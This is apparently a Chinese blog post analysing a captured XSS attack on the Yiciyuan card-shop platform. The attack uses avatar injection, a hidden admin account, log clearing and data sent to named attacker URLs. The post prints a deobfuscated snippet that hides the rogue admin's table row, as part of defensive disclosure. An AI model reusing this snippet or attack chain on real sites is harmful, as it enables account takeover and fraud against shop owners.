前言
最近针对异次元的零元购日趋激烈,其原因是作者没有做好网站防护。根据热心网友以及自己捕获的漏洞利用脚本,特此写作分析文章系列。本次文章的漏洞脚本作者,利用头像注入xss代码,再利用管理员的害怕被黑查看后台日志的心理,设计恶意代码在此时执行,从而达到利用管理员的权限实现零元购的目的。
最近针对异次元的零元购日趋激烈,其原因是作者没有做好网站防护。根据热心网友以及自己捕获的漏洞利用脚本,特此写作分析文章系列。
有一说一,只要每天零收入,没有卡,就不怕被黑。
特此声明
为防止再被恶意利用,本文章所有代码和描述均已做模糊处理。
概述
本次文章的漏洞脚本作者,利用头像注入 xss 代码,再利用管理员的害怕被黑查看后台日志的心理,设计恶意代码在此时执行,从而达到利用管理员的权限实现零元购的目的。
代码剖析
恶意代码脚本地址
https://jiaoben.keeta1.top/
下载下来发现被混淆了,简单的脱一下混淆。
过程就不展示了,以下代码仅被解密到可读的程度以防被利用。
大体结构如下
$("td")["each"](function (_0x36ba71, _0x348775) {
console.log(_0x36ba71, _0x348775,_0x348775["innerHTML"]["indexOf"])
if (_0x348775["innerHTML"]["indexOf"]("@admina.com") != -1) {
var _0x53991d = $(this)["parent"]();
_0x53991d["remove"]();
}
})
其含义是遍历所有表格,如果发现表格中的值含有 @admina.com,则删除其父元素。
正好管理员列表就是一个表格,这样就能达到隐藏含有 @admina.com 的管理员了。也就是说在后台根本看不到这个管理员,只能在数据库查看到。
运行后结果如上,管理不见了。
唯一的缺点是最下面的 “显示第 1 到第 1 条记录,总共 1 条记录”, 应该减一。不然就露馅了。
然后是关键的 hacker 函数
首先先根据标题判断是否在后台的操作日志界面
然后会启用一个定时器,执行恶意代码。
如果不在后台的日志操作界面,那么定时器里的恶意代码不会执行。
首先请求发卡查找用户名为 toptoones 的用户的 id
然后根据返回的 id 执行如下步骤
如果你没安装这个插件,这个老 6 还会贴心的调用 api 帮你从插件商店下载,激活插件,销毁订单,关闭插件,卸载插件,并顺手帮你清楚后台日志。
然后会从管理员头像哪里注入一开始说的哪个隐藏恶意管理员的代码,这样你一登录后台就会触发恶意代码。
然后会将你的信息上传到他的后台。
https://keeta1.top/hook/log
https://keeta1.top/bdstatic.com/?callback=jsonp
然后会检查后台有没有易支付插件,有就注入代码。我猜应该是想改支付的配置,但由于一些原因没有改,可能后续会升级。
总结
放弃幻想(异次元)
认清现实
换个别的发卡吧,作者连露面都没有。